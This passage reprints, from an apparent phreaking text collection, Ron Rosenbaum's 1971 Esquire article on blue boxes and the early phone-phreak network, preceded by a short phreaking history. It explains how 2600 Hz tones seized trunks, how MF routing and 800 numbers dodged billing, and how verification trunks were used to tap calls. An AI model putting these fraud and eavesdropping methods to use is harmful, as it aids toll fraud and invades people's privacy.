work on a cassette. Then just a short while later came the Apple Cat modem. With this modem, generating all blue box tones was easy as 
writing a program to count form one to ten (a little exaggerated). Pretty soon programs that could imitate an operator just as good as the real 
thing were hitting the community, TSPS and Cat's Meow, are the standard now and are the best. 

1982-1986: LD services were starting to appear in mass numbers. People now had programs to hack LD services, telephone exchanges, and 
even passwords. By now many phreaks were getting extremely good and BBS's started to spring up everywhere, each having many 
documentations on phreaking for the novbe. Then it happened, the movie War Games was released and mass numbers of sixth grade to all 
ages flocked to see it. The problem wasn't that the movie was bad. It was that now EVERYONE wanted to be a hacker/phreak. Novices came 
out in such mass numbers, that bulletin boards started to be busy 24 hours a day. To this day, they still have not recovered. Other problems 
started to occur, novices guessed easy passwords on large government computers and started to play around... Well it wasn't long before 
they were caught, I think that many people remember the 414-hackers. They were so stupid as to say "yes" when the computer asked them 
whether they'd like to play games. Well at least it takes the heat off the real phreaks/hacker/crackers. 



150. "Secrets of the Little Blue Box" by Ron Rosenbaum 

Dudes... These four files contain the story, "Secrets of the Little Blue Box". 
-A story so incredible it may even make you feel sorry for the phone company- 
Printed in the October 1971 issue of Esquire Magazine. If you happen to be in a library and come across a collection of Esquire magazines, the 
October 1 971 issue is the first issue printed in the smaller format. The story begins on page 1 1 6 with a picture of a blue box. 

-One Farad Cap, Atlantic Anarchist Guild 



The Blue Box Is Introduced: Its Qualities Are Remarked I am in the expensively furnished living room of Al Gilbertson (His real name has been 
changed.), the creator of the "blue box." Gilbertson is holding one of his shiny black-and-silver "blue boxes" comfortably in the palm of his 
hand, pointing out the thirteen little red push buttons sticking up from the console. He is dancing his fingers over the buttons, tapping out 
discordant beeping electronic jingles. He is trying to explain to me how his little blue box does nothing less than place the entire telephone 
system of the world, satellites, cables and all, at the service of the blue-box operator, free of charge. 

"That's what it does. Essentially it gives you the power of a super operator. You seize a tandem with this top button," he presses the top 
button with his index finger and the blue box emits a high-pitched cheep, "and like that" - cheep goes the blue box again - "you control the 
phone company's long-distance switching systems from your cute little Princes phone or any old pay phone. And you've got anonymity. An 
operator has to operate from a definite location: the phone company knows where she is and what she's doing. But with your beeper box, 
once you hop onto a trunk, say from a Holiday Inn 800 (toll-free) number, they don't know where you are, or where you're coming from, they 
don't know how you slipped into their lines and popped up in that 800 number. They don't even know anything illegal is going on. And you can 
obscure your origins through as many levels as you like. You can call next door by way of White Plains, then over to Liverpool by cable, and 
then back here by satellite. You can call yourself from one pay phone all the way around the world to a pay phone nextto you. And you get 
your dime back too." 

"And they can't trace the calls? They can't charge you?" "Not if you do it the right way. But you'll find that the free-call thing isn't really as 
exciting at first as the feeling of power you get from having one of these babies in your hand. I've watched people when they first get hold of 



one of these things and start using it, and discover they can mal<e connections, set up crisscross and zigzag switching patterns bacl< and 
forth across the world. They hardly tall< to the people they finally reach. They say hello and start thinking of what kind of call to make next. 
They go a little crazy." He looks down at the neat little package in his palm. His fingers are still dancing, tapping out beeper patterns. 

"I think it's something to do with how small my models are. There are lots of blue boxes around, but mine are the smallest and most 
sophisticated electronically. I wish I could show you the prototype we made for our big syndicate order." 

He sighs. "We had this order for a thousand beeper boxes from a syndicate front man in Las Vegas. They use them to place bets coast to 
coast, keep lines open for hours, all of which can get expensive if you have to pay. The deal was a thousand blue boxes for $300 apiece. 
Before then we retailed them for $1500 apiece, but $300,000 in one lump was hard to turn down. We had a manufacturing deal worked out in 
the Philippines. Everything ready to go. Anyway, the model I had ready for limited mass production was small enough to fit inside a flip-top 
Marlboro box. It had flush touch panels for a keyboard, rather than these unsightly buttons, sticking out. Looked just like a tiny portable radio. In 
fact, I had designed it with a tiny transistor receiver to get one AM channel, so in case the law became suspicious the owner could switch on 
the radio part, start snapping his fingers, and no one could tell anything illegal was going on. I thought of everything for this model -- 1 had it 
lined with a band of thermite which could be Ignited by radio signal from a tiny button transmitter on your belt, so it could be burned to ashes 
instantly In case of a bust. It was beautiful. A beautiful little machine. You should've seen the faces on these syndicate guys when they came 
back after trying it out. They'd hold it in their palm like they never wanted to let it go, and they'd say, 'I can't believe it. I can't believe it.' You 
probably won't believe it until you try it." 

The Blue Box Is Tested: Certain Connections Are Made 

About eleven o'clock two nights later Fraser Lucey has a blue box in the palm of his left hand and a phone in the palm of his right. He is 
standing inside a phone booth next to an isolated shut-down motel off Highway 1 . 1 am standing outside the phone booth. 

Fraser likes to show off his blue box for people. Until a few weeks ago when Pacific Telephone made a few arrests in his city, Fraser Lucey 
liked to bring his blue box (This particular blue box, like most blue boxes, is not blue. Blue boxes have come to be called "blue boxes" either 
because 1) The first blue box ever confiscated by phone-company security men happened to be blue, or 2) To distinguish them from "black 
boxes." Black boxes are devices, usually a resistor in series, which, when attached to home phones, allow all incoming calls to be made 
without charge to one's caller.) to parties. It never failed: A few cheeps from his device and Fraser became the center of attention at the very 
hippest of gatherings, playing phone tricks and doing request numbers for hours. He began to take orders for his manufacturer in Mexico. He 
became a dealer. 

Fraser is cautious now about where he shows off his blue box. But he never gets tired of playing with it. "It's like the first time every time," he 
tells me. 

Fraser puts a dime in the slot. He listens for a tone and holds the receiver up to my ear. I hear the tone. Fraser begins describing, with a certain 

practiced air, what he does while he does it. "I'm dialing an 800 number now. Any 800 number will do. It's toll free. Tonight I think I'll use the --- 
- (he names a well-know rent-a-car company) 800 number. Listen, It's ringing. Here, you hear it? Now watch." He places the blue box over the 
mouthpiece of the phone so that the one silver and twelve black push buttons are facing up toward me. He presses the silver button - the one 
at the top - and I hear that high-pitched beep. "That's 2600 cycles per second to be exact," says Lucey. "Now, quick. Listen." He shoves the 
earpiece at me. The ringing has vanished. The line gives a slight hiccough, there is a sharp buzz, and then nothing but soft white noise. 

"We're home free now," Lucey tells me, taking back the phone and applying the blue box to its mouthpiece once again. "We're up on a tandem, 
into a long-lines trunk. Once you're up on a tandem, you can send yourself anywhere you want to go." He decides to check out London first. 
He chooses a certain pay phone located in Waterloo Station. This particular pay phone is popular with the phone-phreaks network because 
there are usually people walking by at all hours who will pick it up and talk for a while. 

He presses the lower left-hand corner button which is marked "KP" on the face of the box. "That's Key Pulse. It tells the tandem we're ready to 
give it instructions. First I'll punch out KP 1 82 START, which will slide us into the overseas sender in White Plains." I hear a neat clunk-cheep. "I 
think we'll head over to England by satellite. Cable is actually faster and the connection is somewhat better, but I like going by satellite. So I just 
punch out KP Zero 44. The Zero is supposed to guarantee a satellite connection and 44 is the country code for England. Okay... we're there. In 
Liverpool actually. Now all I have to do is punch out the London area code which is 1 , and dial up the pay phone. Here, listen, I've got a ring 
now." 

I hear the soft quick purr-purr of a London ring. Then someone picks up the phone. 
"Hello," says the London voice. 
"Hello. Who's this?" Fraser asks. 

"Hello. There's actually nobody here. I just picked this up while I was passing by. This is a public phone. There's no one here to answer 
actually." 

"Hello. Don't hang up. I'm calling from the United States." 

"Oh. What is the purpose of the call? This is a public phone you know." 



"Oh. You know. To check out, uh, to find out what's going on in London. How is it there?" 
"Its five o'clock in the morning. It's raining now." 
"Oh. Who are you?" 

The London passerby turns out to be an R.A.F. enlistee on his way back to the base in Lincolnshire, with a terrible hangover after a thirty-six- 
hour pass. He and Fraser talk about the rain. They agree that it's nicer when it's not raining. They say good-bye and Fraser hangs up. His dime 

returns with a nice clink. 

"Isn't that far out," he says grinning at me. "London, like that." 

Fraser squeezes the little blue box affectionately in his palm. "I told ya this thing is for real. Listen, if you don't mind I'm gonna try this girl I know 

in Paris. I usually give her a call around this time. It freaks her out. This time I'll use the (a different rent-a-car company) 800 number and 

we'll go by overseas cable, 1 33; 33 is the country code for France, the 1 sends you by cable. Okay, here we go.... Oh damn. Busy. Who could 
she be talking to at this time?" 

A state police car cruises slowly by the motel. The car does not stop, but Fraser gets nervous. We hop back into his car and drive ten miles in 
the opposite direction until we reach a Texaco station locked up for the night. We pull up to a phone booth by the tire pump. Fraser dashes 
inside and tries the Paris number. It is busy again. 

"I don't understand who she could be talking to. The circuits may be busy. It's too bad I haven't learned how to tap into lines overseas with this 

thing yet." 

Fraser begins to phreak around, as the phone phreaks say. He dials a leading nationwide charge card's 800 number and punches out the 
tones that bring him the time recording in Sydney, Australia. He beeps up the weather recording in Rome, in Italian of course. He calls a friend 
in Boston and talks about a certain over -the-counter stock they are into heavily. He finds the Paris number busy again. He calls up "Dial a Disc" 
in London, and we listen to Double Barrel by David and Ansil Collins, the numlier-one hit of the week in London. He calls up a dealer of another 
sort and talks in code. He calls up Joe Engressia, the original blind phone-phreak genius, and pays his respects. There are other calls. Finally 
Fraser gets through to his young lady in Paris. 

They both agree the circuits must have been busy, and criticize the Paris telephone system. At two-thirty in the morning Fraser hangs up, 
pockets his dime, and drives off, steering with one hand, holding what he calls his "lovely little blue box" in the other. 

You Can Call Long Distance For Less Than You Think 

"You see, a few years ago the phone company made one big mistake," Gilbertson explains two days later in his apartment. "They were 
careless enough to let some technical journal publish the actual frequencies used to create all their multi-frequency tones . Just a theoretical 
article some Bell Telephone Laboratories engineer was doing about switching theory, and he listed the tones in passing. At (a well- 
known technical school) I had been fooling around with phones for several years before I came across a copy of the journal in the engineering 
library. I ran back to the lab and it took maybe twelve hours from the time I saw that article to put together the first working blue box. It was 
bigger and clumsier than this little baby, but it worked." 

It's all there on public record in that technical journal written mainly by Bell Lab people for other telephone engineers. Or at least it was public. 
"Just try and get a copy of that issue at some engineering-school library now. 

Bell has had them all red-tagged and withdrawn from circulation," Gilbertson tells me. 

"But it's too late. It's all public now. And once they became public the technology needed to create your own beeper device is within the range 
of any twelve-year -old kid, any twelve-year-old blind kid as a matter of fact. And he can do it in less than the twelve hours it took us. Blind kids 
do it all the time. They can't build anything as precise and compact as my beeper box, but theirs can do anything mine can do." 

"How?" 

"Okay. About twenty years ago AT&T, made a multi-billion -dollar decision to operate its entire long-distance switching system on twelve 
electronically generated combinations of twelve master tones. Those are the tones you sometimes hear in the background after you've dialed a 
long-distance number. They decided to use some very simple tones - the tone for each number is just two fixed single-frequency tones 
played simultaneously to create a certain beat frequency. Like 1 300 cycles per second and 900 cycles per second played together give you 
the tone for digit 5. Now, what some of these phone phreaks have done is get themselves access to an electric organ. Any cheap family 
home-entertainment organ. Since the frequencies are public knowledge now - one blind phone phreak has even had them recorded in one of 
the talking books for the blind - they just have to find the musical notes on the organ which correspond to the phone tones. Then they tape 
them. For instance, to get Ma Bell's tone for the number 1 , you press down organ keys F~5 and A~5 (900 and 700 cycles per second) at the 
same time. To produce the tone for 2 it's F~5 and C~6 (1 100 and 700 ops). The phone phreaks circulate the whole list of notes so there's no 
trial and error anymore." 



He shows me a list of the rest of the phone numbers and the two electric organ keys that produce them. 

"Actually, you have to record these notes at 3 3/4 inches -per-second tape speed and double it to 7 « inches-per-second when you play them 
back, to get the proper tones," he adds. 

"So once you have all the tones recorded, how do you plug them into the phone system?" 

"Well, they take their organ and their cassette recorder, and start banging out entire phone numbers in tones on the organ, including country 
codes, routing instructions, 'KP' and 'Start' tones. Or, if they don't have an organ, someone in the phone-phreak network sends them a 
cassette with all the tones recorded, with a voice saying 'Number one,' then you have the tone, 'Number two,' then the tone and so on. So with 
two cassette recorders they can put together a series of phone numbers by switching back and forth from number to number. Any idiot in the 
country with a cheap cassette recorder can make all the free calls he wants." 

"You mean you just hold the cassette recorder up the mouthpiece and switch in a series of beeps you've recorded? The phone thinks that 

anything that makes these tones must be its own equipment?" 

"Right. As long as you get the frequency within thirty cycles per second of the phone company's tones, the phone equipment thinks it hears its 
own voice talking to it. The original granddaddy phone phreak was this blind kid with perfect pitch, Joe Engressia, who used to whistle into the 
phone. An operator could tell the difference between his whistle and the phone company's electronic tone generator, but the phone company's 
switching circuit can't tell them apart. The bigger the phone company gets and the further away from human operators it gets, the more 
vulnerable it becomes to all sorts of phone phreaking." 

A Guide for the Perplexed 

"But wait a minute," I stop Gilbertson. "If everything you do sounds like phone-company equipment, why doesn't the phone company charge 
you for the call the way it charges its own equipment?" 

"Okay. That's where the 2600-cycle tone comes in. I better start from the beginning." 

The beginning he describes for me is a vision of the phone system of the continent as thousands of webs, of long -line trunks radiating from 
each of the hundreds of toll switching offices to the other toll switching offices. Each toll switching office is a hive compacted of thousands of 
long-distance tandems constantly whistling and beeping to tandems in far-off toll switching offices. 

The tandem is the key to the whole system. Each tandem is a line with some relays with the capability of signaling any other tandem in any 
other toll switching office on the continent, either directly one-to-one or by programming a roundabout route through several other tandems if all 
the direct routes are busy. For instance, if you want to call from New York to Los Angeles and traffic is heavy on all direct trunks between the 

two cities, your tandem in New York is programmed to try the next best route, which may send you down to a tandem in New Orleans, then up 
to San Francisco, or down to a New Orleans tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up to Los Angeles. 

When a tandem is not being used, when it's sitting there waiting for someone to make a long-distance call, it whistles. One side of the tandem, 
the side "facing" your home phone, whistles at 2600 cycles per second toward all the home phones serviced by the exchange, telling them it is 
at their service, should they be interested in making a long-distance call. The other side of the tandem is whistling 2600 cps. into one or more 
long-distance trunk lines, telling the rest of the phone system that it is neither sending nor receiving a call through that trunk at the moment, that 
it has no use for that trunk at the moment. 

"When you dial a long-distance number the first thing that happens is that you are hooked into a tandem. A register comes up to the side of the 
tandem facing away from you and presents that side with the number you dialed. This sending side of the tandem stops whistling 2600 into its 
trunk line. When a tandem stops the 2600 tone it has been sending through a trunk, the trunk is said to be "seized," and is now ready to carry 
the number you have dialed - converted into multi-frequency beep tones - to a tandem in the area code and central office you want. 

Now when a blue-box operator wants to make a call from New Orleans to New York he starts by dialing the 800 number of a company which 
might happen to have Its headquarters in Los Angeles. The sending side of the New Orleans tandem stops sending 2600 out over the trunk to 

the central office in Los Angeles, thereby seizing the trunk. Your New Orleans tandem begins sending beep tones to a tandem it has 
discovered idly whistling 2600 cycles in Los Angeles. The receiving end of that LA tandem is seized, stops whistling 2600, listens to the beep 
tones which tell it which LA phone to ring, and starts ringing the 800 number. Meanwhile a mark made in the New Orleans office accounting 
tape notes that a call from your New Orleans phone to the 800 number in LA has been initiated and gives the call a code number. Everything is 
routine so far. 

But then the phone phreak presses his blue box to the mouthpiece and pushes the 2600-cycle button, sending 2600 out from the New Orieans 
tandem to the LA tandem. The LA tandem notices 2600 cycles are coming over the line again and assumes that New Orleans has hung up 
because the trunk is whistling as if idle. The LA tandem immediately ceases ringing the LA 800 number. But as soon as the phreak takes his 
finger off the 2600 button, the LA tandem assumes the trunk is once again being used because the 2600 is gone, so it listens for a new series 
of digit tones - to find out where it must send the call. 

Thus the blue-box operator in New Orleans now is in touch with a tandem in LA which is waiting like an obedient genie to be told what to do 
next. The blue-box owner then beeps out the ten digits of the New York number which tell the LA tandem to relay a call to New York City. 



Which it promptly does. As soon as your party picks up the phone in New York, the side of the New Orleans tandem facing you stops sending 
2600 cycles to you and starts carrying his voice to you by way of the LA tandem. A notation is made on the accounting tape that the 
connection has been made on the 800 call which had been initiated and noted earlier. When you stop talking to New York a notation is made 
that the 800 call has ended. 

At three the next morning, when the phone company's accounting computer starts reading back over the master accounting tape for the past 
day, it records that a call of a certain length of time was made from your New Orleans home to an LA 800 number and, of course, the 
accounting computer has been trained to ignore those toll-free 800 calls when compiling your monthly bill. 

"All they can prove is that you made an 800 toll-free call," Gilbertson the inventor concludes. "Of course, if you're foolish enough to talk for two 
hours on an 800 call, and they've installed one of their special anti-fraud computer programs to watch out for such things, they may spot you 
and ask why you took two hours talking to Army Recruiting's 800 number when you're 4-F. 

But if you do it from a pay phone, they may discover something peculiar the next day - if they've got a blue-box hunting program in their 
computer - but you'll be a long time gone from the pay phone by then. Using a pay phone is almost guaranteed safe." 

"What about the recent series of blue -box arrests all across the country - New York, Cleveland, and so on?" I asked. "How were they caught 
so easily?" 

"From what I can tell, they made one big mistake: they were seizing trunks using an area code plus 555-1212 instead of an 800 number. Using 
555 is easy to detect because when you send multi-frequency beep tones of 555 you get a charge for it on your tape and the accounting 
computer knows there's something wrong when it tries to bill you for a two-hour call to Akron, Ohio, information, and it drops a trouble card 
which goes right into the hands of the security agent if they're looking for blue-box user. 

"Whoever sold those guys their blue boxes didn't tell them how to use them properly, which is fairly irresponsible. And they were fairly stupid 
to use them at home all the time. 

"But what those arrests really mean is than an awful lot of blue boxes are flooding into the country and that people are finding them so easy to 
make that they know how to make them before they know how to use them. Ma Bell is in trouble." 

And if a blue-box operator or a cassette- recorder phone phreak sticks to pay phones and 800 numbers, the phone company can't stop them? 

"Not unless they change their entire nationwide long-lines technology, which will take them a few billion dollars and twenty years. Right now 
they can't do a thing. They're screwed." 

Captain Crunch Demonstrates His Famous Unit 

There is an underground telephone network in this country. Gilbertson discovered it the very day news of his activities hit the papers. That 
evening his phone began ringing. Phone phreaks from Seattle, fom Florida, from New York, from San Jose, and from Los Angeles began 
calling him and telling him about the phone-phreak network. He'd get a call from a phone phreak who'd say nothing but, "Hang up and call this 
number." 

When he dialed the number he'd find himself tied into a conference of a dozen phone phreaks arranged through a quirky switching station in 
British Columbia. They identified themselves as phone phreaks, they demonstrated their homemade blue boxes which they called "M-Fers" (for 
"multi-frequency," among other things) for him, they talked shop about phone-phreak devices. They let him in on their secrets on the theory that 
if the phone company was after him he must be trustworthy. And, Gilbertson recalls, they stunned him with their technical sophistication. 

I ask him how to get in touch with the phone-phreak network. He digs around through a file of old schematics and comes up with about a 
dozen numbers in three widely separated area codes. 

"Those are the centers," he tells me. Alongside some of the numbers he writes in first names or nicknames: names like Captain Crunch, Dr. No, 
Frank Carson (also a code word for a free call), Marty Freeman (code word for M-F device), Peter Perpendicular Pimple, Alefnull, and The 
Cheshire Cat. He makes checks alongside the names of those among these top twelve who are blind. There are five checks. 

I ask him who this Captain Crunch person is. 

"Oh. The Captain. He's probably the most legendary phone phreak. He calls himself Captain Crunch after the notorious Gap'n Crunch 2600 
whistle." (Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast cereal offered a toy -whistle prize in every box as a 
treat for the Cap'n Crunch set. Somehow a phone phreak discovered that the toy whistle just happened to produce a perfect 2600-cycle tone. 
When the man who calls himself Captain Crunch was transferred overseas to England with his Air Force unit, he would receive scores of 
calls from his friends and "mute" them - make them free of charge to them - by blowing his Cap'n Crunch whistle into his end.) "Captain 
Crunch is one of the older phone phreaks," Gilbertson tells me. "He's an engineer who once got in a little trouble for fooling around with the 
phone, but he can't stop. Well, the guy drives across country in a Volkswagen van with an entire switchboard and a computerized super- 
sophisticated MF-er in the back. He'll pull up to a phone booth on a lonely highway somewhere, snake a cable out of his bus, hook it onto the 
phone and sit for hours, days sometimes, sending calls zipping back and forth across the country, all over the world...." 



Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked for G— - T— --, his real name, or at least the name he uses 
when he's not dashing into a phone booth beeping out M-F tones faster than a speeding bullet and zipping phantomlike through the phone 
company's long-distance lines. 

When G— - T-— answered the phone and I told him I was preparing a story for Esquire about phone phreaks, he became very indignant. 

"I don't do that. I don't do that anymore at all. And if I do it, I do it for one reason and one reason only. I'm learning about a system. The phone 
company is a System. A computer is a System, do you understand? If I do what I do, it is only to explore a system. Computers, systems, that's 
my bag. The phone company is nothing but a computer." 

A tone of tightly restrained excitement enters the Captain's voice when he starts talking about systems. He begins to pronounce each syllable 
w Ih the hushed deliberation of an obscene caller. 

"IVIa Bell is a system I want to explore. It's a beautiful system, you know, but Ma Bell screwed up. It's terrible because Ma Bell is such a 
beautiful system, but she screwed up. I learned how she screwed up from a couple of blind kids who wanted me to build a device. A certain 
device. They said it could make free calls. I wasn't interested in free calls. But when these blind kids told me I could make calls into a computer, 
my eyes lit up. I wanted to learn about computers. I wanted to learn about Ma Bell's computers. So I build the little device, but I built it wrong and 
Ma Bell found out. Ma Bell can detect things like that. Ma Bell knows. So I'm strictly rid of it now. I don't do it. Except for learning purposes." He 
pauses. "So you want to write an article. Are you paying for this call? Hang up and call this number." He gives me a number in a area code a 
thousand miles away of his own. I dial the number. 

"Hello again. This is Captain Crunch. You are speaking to me on a toll-free loop-around in Portland, Oregon. Do you know what a toll-free loop 
around is? I'll tell you." 

He explains to me that almost every exchange in the country has open test numbers which allow other exchanges to test their connections 
with it. Most of these numbers occur in consecutive pairs, such as 302 956-0041 and 302 956-0042. Well, certain phone phreaks discovered 
that if two people from anywhere in the country dial the two consecutive numbers they can talk together just as if one had called the other's 
number, with no charge to either of them, of course. 

"Now our voice is looping around in a 4A switching machine up there in Canada, zipping back down to me," the Captain tells me. "My voice is 
looping around up there and back down to you. And it can't ever cost anyone money. The phone phreaks and I have compiled a list of many of 
these numbers. You would be surprised if you saw the list. I could show it to you. But I won't. I'm out of that now. I'm not out to screw Ma Bell. 
I know better. If I do anything it's for the pure knowledge of the System. You can learn to do fantastic things. Have you ever heard eight 
tandems stacked up? Do you know the sound of tandems stacking and unstacking? Give me your phone number. Okay. Hang up now and wait 
a minute." 

Slightly less than a minute later the phone rang and the Captain was on the line, his voice sounding far more excited, almost aroused. 

"I wanted to show you what it's like to stack up tandems. To stack up tandems." (Whenever the Captain says "stack up" it sounds as if he is 

licking his lips.) 

"How do you like the connection you're on now?" the Captain asks me. "It's a raw tandem. A raw tandem. Ain't nothing' up to it but a tandem. 
Now I'm going to show you what it's like to stack up. Blow off. Land in a far away place. To stack that tandem up, whip back and forth across 
the country a few times, then shoot on up to Moscow. 

"Listen," Captain Crunch continues. "Listen. I've got line tie on my switchboard here, and I'm gonna let you hear me stack and unstack tandems. 

Listen to this. It's gonna blow your mind." 

First I hear a super rapid-fire pulsing of the flutelike phone tones, then a pause, then another popping burst of tones, then another, then 
another. Each burst is followed by a beep-kachink sound. 

"We have now stacked up four tandems," said Captain Crunch, sounding somewhat remote. "That's four tandems stacked up. Do you know 
what that means? That means I'm whipping back and forth, back and forth twice, across the country, before coming to you. I've been known to 
stack up twenty tandems at a time. Now, just like I said, I'm going to shoot up to Moscow." 

There is a new, longer series of beeper pulses over the line, a brief silence, then a ring. 

"Hello," answers a far-off voice. 

"Hello. Is this the American Embassy Moscow?" 

"Yes, sir. Who is this calling?" says the voice. 

"Yes. This is test board here in New York. We're calling to check out the circuits, see what kind of lines you've got. Everything okay there in 
Moscow?" 



"Okay?" 



"Well, yes, how are things there?" 
"Oh. Well, everything okay, I guess." 
"Okay. Thank you." 

They hang up, leaving a confused series of beep-kachink sounds hanging in mid-ether in the wake of the call before dissolving away. 

The Captain is pleased. "You believe me now, don't you? Do you know what I'd like to do? I'd just like to call up your editor at Esquire and show 
him just what it sounds like to stack and unstack tandems. I'll give him a show that will blow his mind. What's his number? 

I ask the Captain what kind of device he was using to accomplish all his feats. The Captain is pleased at the question. 

"You could tell it was special, couldn't you?" Ten pulses per second. That's faster than the phone company's equipment. Believe me, this unit 
is the most famous unit in the country. There is no other unit like it. Believe me." 

"Yes, I've heard about it. Some other phone phreaks have told me about it." 

"They have been referring to my, ahem, unit? What is it they said? Just out of curiosity, did they tell you it was a highly sophisticated 
computer-operated unit, with acoustical coupling for receiving outputs and a switch-board with multiple- line-tie capability? Did they tell you that 
the frequency tolerance is guaranteed to be not more than .05 percent? The amplitude tolerance less than .01 decibel? Those pulses you 
heard were perfect. They just come faster than the phone company. Those were high -precision op-amps. Op-amps are instrumentation 
amplifiers designed for ultra-stable amplification, super-low distortion and accurate frequency response. Did they tell you it can operate in 
temperatures from -550C to +1250C?" 

I admit that they did not tell me all that. 

"I built it myself," the Captain goes on. "If you were to go out and buy the components from an industrial wholesaler it would cost you at least 
$1500. 1 once worked for a semiconductor company and all this didn't cost me a cent. Do you know what I mean? Did they tell you about how I 
put a call completely around the world? I'll tell you how I did it. I MFed Tokyo inward, who connected me to India, India connected me to 
Greece, Greece connected me to Pretoria, South Africa, South Africa connected me to South America, I went from South America to London, I 
had a London operator connect me to a New York operator, I had New York connect me to a California operator who rang the phone next to 
me. Needless to say I had to shout to hear myself. But the echo was far out. Fantastic. Delayed. It was delayed twenty seconds, but I could 
hear myself talk to myself." 

"You mean you were speaking into the mouthpiece of one phone sending your voice around the world into your ear through a phone on the 
other side of your head?" I asked the Captain. I had a vision of something vaguely autoerotic going on, in a complex electronic way. 

"That's right," said the Captain. "I've also sent my voice around the world one way, going east on one phone, and going west on the other, 
going through cable one way, satellite the other, coming back together at the same time, ringhg the two phones simultaneously and picking 
them up and whipping my voice both ways around the world back to me. Wow. That was a mind blower." "You mean you sit there with both 
phones on your ear and talk to yourself around the world," I said incredulously. 

"Yeah. Dm hum. That's what I do. I connect the phone together and sit there and talk." 

"What do you say? What do you say to yourself when you're connected?" 

"Oh, you know. Hello test one two three," he says in a low -pitched voice. 

"Hello test one two three," he replied to himself in a high-pitched voice. 

"Hello test one two three," he repeats again, low-pitched. 
"Hello test one two three," he replies, high-pitched. 

"I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off and breaks into laughter. 
Why Captain Crunch Hardly Ever Taps Phones Anymore 

Using internal phone-company codes, phone phreaks have learned a simple method for tapping phones. Phone-company operators have in 
front of them a board that holds verification jacks. It allows them to plug into conversations in case of emergency, to listen in to a line to 
determine if the line is busy or the circuits are busy. Phone phreaks have learned to beep out the codes which lead them to a verification 
operator, tell the verification operator they are switchmen from some other area code testing out verification trunks. Once the operator hooks 
them into the verification trunk, they disappear into the board for all practical purposes, slip unnoticed into any one of the 10,000 to 100,000 



numbers in that central office without the verification operator knowing what they're doing, and of course without the two parties to the 
connection knowing there is a phantom listener present on their line. 

Toward the end of my hour-long first conversation with him, I asked the Captain if he ever tapped phones. 

"Oh no. I don't do that. I don't think it's right," he told me firmly. "I have the power to do it but I don't... Well one time, just one time, I have to admit 
that I did. There was this giri Linda, and I wanted to find out... you know. I tried to call her up for a date. I had a date with her the last weekend 
and I thought she liked me. I called her up, man, and her line was busy, and I kept calling and it was still busy. Well, I had just learned about this 
system of jumping into lines and I said to myself, 'Hmmm. Why not just see if it works. It'll surprise her if all of a sudden I should pop up on her 
line, it'll impress her, if anything.' So I went ahead and did it. I M-Fed into the line. My M-F-er is powerful enough when patched directly into the 
mouthpiece to trigger a verification trunk without using an operator the way the other phone phreaks have to. 

"I slipped into the line and there she was talking to another boyfriend. Making sweet talk to him. I didn't make a sound because I was so 

disgusted. So I waited there for her to hang up, listening to her making sweet talk to the other guy. You know. So as soon as she hung up I 
instantly MF-ed her up and all I said was, 'Linda, we're through.' And I hung up. And it blew her head off. She couldn't figure out what the hell 
happened. 

"But that was the only time. I did it thinking I would surprise her, impress her. Those were all my intentions were, and well, it really kind of hurt 
me pretty badly, and... and ever since then I don't go into verification trunks." 

Moments later my first conversation with the Captain comes to a close. 

"Listen," he says, his spirits somewhat cheered, "listen. What you are going to hear when I hang up is the sound of tandems unstacking. Layer 
after layer of tandems unstacking until there's nothing left of the stack, until it melts away into nothing. Cheep, cheep, cheep, cheep," he 
concludes, his voice descending to a whisper with each cheep. 

He hangs up. The phone suddenly goes into four spasms: kachink cheep. Kachink cheep kachink cheep kachink cheep, and the complex 
connection has wiped itself out like the Cheshire cat's smile. 

The MF Boogie Blues 

The next number I choose from the select list of phone-phreak alumni, prepared for me by the blue-box inventor, is a Memphis number. It is the 
number of Joe Engressia, the first and still perhaps the most accomplished blind phone phreak. 

Three years ago Engressia was a nine-day wonder in newspapers and magazines all over America because he had been discovered 
whistling free long-distance connections for fellow students at the University of South Florida. 

Engressia was born with perfect pitch: he could whistle phone tones better than the phone -company's equipment. 

Engressia might have gone on whistling in the dark for a few friends for the rest of his life if the phone company hadn't decided to expose him. 
He was warned, disciplined by the college, and the whole case became public. In the months following media reports of his talent, Engressia 
began receiving strange calls. There were calls from a group of kids in Los Angeles who could do some very strange things with the quirky 
General Telephone and Electronics circuitry in LA suburbs. There were calls from a group of mostly blind kids in — , California, who had been 
doing some interesting experiments with Cap'n Crunch whistles and test loops. There was a group in Seattle, a group in Cambridge, 
Massachusetts, a few from New York, a few scattered across the country. Some of them had already equipped themselves with cassette 
and electronic M-F devices. For some of these groups, it was the first time they knew of the others. 

The exposure of Engressia was the catalyst that linked the separate phone-phreak centers together. They all called Engressia. They talked to 
him about what he was doing and what they were doing. And then he told them - the scattered regional centers and lonely independent 
phone phreakers - about each other, gave them each other's numbers to call, and within a year the scattered phone-phreak centers had 
grown into a nationwide underground. 

Joe Engressia is only twenty-two years old now, but along the phone-phreak network he is "the old man," accorded by phone phreaks 
something of the reverence the phone company bestows on Alexander Graham Bell. He seldom needs to make calls anymore. The phone 
phreaks all call him and let him know what new tricks, new codes, new techniques they have learned. Every night he sits like a sightless 
spider in his little apartment receiving messages from every tendril of his web. It is almost a point of pride with Joe that they call him. 

But when I reached him in his Memphis apartment that night, Joe Engressia was lonely, jumpy and upset. 

"God, I'm glad somebody called. I don't know why tonight of all nights I don't get any calls. This guy around here got drunk again tonight and 
propositioned me again. I keep telling him we'll never see eye to eye on this subject, if you know what I mean. I try to make light of it, you know, 
but he doesn't get it. I can head him out there getting drunker and I don't know what he'll do next. It's just that I'm really all alone here, just moved 
to Memphis, it's the first time I'm living on my own, and I'd hate for it to all collapse now. But I won't go to bed with him. I'm just not very 
interested in sex and even if I can't see him I know he's ugly. 



"Did you hear that? That's him banging a bottle against the wall outside. He's nice. Well forget about it. You're doing a story on phone phreaks? 
Listen to this. It's the MF Boogie Blues. 

Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line, each note one of those long-distance phone tones. The music 
stops. A huge roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars the voice, "CAN A BLIND PERSON HOOK UP AN 
AMPURER ON HIS OWN?' 

The roar ceases. A high-pitched operator-type voice replaces it. "This is Southern Braille Tel. & Tel. Have tone, will phone." 

This is succeeded by a quick series of MF tones, a swift "kachink" and a deep reassuring voice: "If you need home care, call the visiting- 
nurses association. First National time in Honolulu is 4:32 p.m." 

Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,' said the blind Mexican. Ahem. Yes. Would you like to know the weather in 
